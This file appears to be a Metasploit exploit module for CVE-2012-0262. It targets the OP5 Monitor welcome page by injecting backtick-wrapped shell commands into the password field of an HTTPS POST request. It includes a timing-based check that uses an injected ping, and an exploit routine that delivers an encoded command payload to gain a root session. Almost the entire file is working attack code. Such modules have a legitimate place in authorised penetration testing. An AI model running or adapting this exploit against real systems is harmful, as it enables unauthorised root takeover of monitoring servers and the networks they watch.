metasploit-framework/modules/exploits/multi/http/op5_welcome.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
super(update_info(info,
'Name' => 'OP5 welcome Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary root command execution vulnerability in
OP5 Monitor welcome. Ekelow AB has confirmed that OP5 Monitor versions 5.3.5,
5.4.0, 5.4.2, 5.5.0, 5.5.1 are vulnerable.
},
'Author' => [ 'Peter Osterberg <j[at]vel.nu>' ],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2012-0262'],
['OSVDB', '78065'],
['URL', 'http://www.ekelow.se/file_uploads/Advisories/ekelow-aid-2012-01.pdf'],
['URL', 'http://www.op5.com/news/support-news/fixed-vulnerabilities-op5-monitor-op5-appliance/'],
['URL', 'http://secunia.com/advisories/47417/'],
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'BadChars' => '`\\|',
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl ruby python',
}
},
'Platform' => %w{ linux unix },
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'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Jan 05 2012',
'DefaultTarget' => 0))
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register_options(
[
Opt::RPORT(443),
OptString.new('URI', [true, "The full URI path to /op5config/welcome", "/op5config/welcome"]),
], self.class)
end
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def check
vprint_status("Attempting to detect if the OP5 Monitor is vulnerable...")
vprint_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")
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# Try running/timing 'ping localhost' to determine is system is vulnerable
start = Time.now
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data = 'do=do=Login&password=`ping -c 10 127.0.0.1`';
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),
'method' => 'POST',
'proto' => 'HTTPS',
'data' => data,
'headers' =>
{
'Connection' => 'close',
}
}, 25)
elapsed = Time.now - start
if elapsed >= 5
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
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def exploit
print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")
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data = 'do=do=Login&password=`' + payload.encoded + '`';
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res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),
'method' => 'POST',
'proto' => 'HTTPS',
'data' => data,
'headers' =>
{
'Connection' => 'close',
}
}, 10)
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if(not res)
if session_created?
print_status("Session created, enjoy!")
else
print_error("No response from the server")
end
return
end
end
end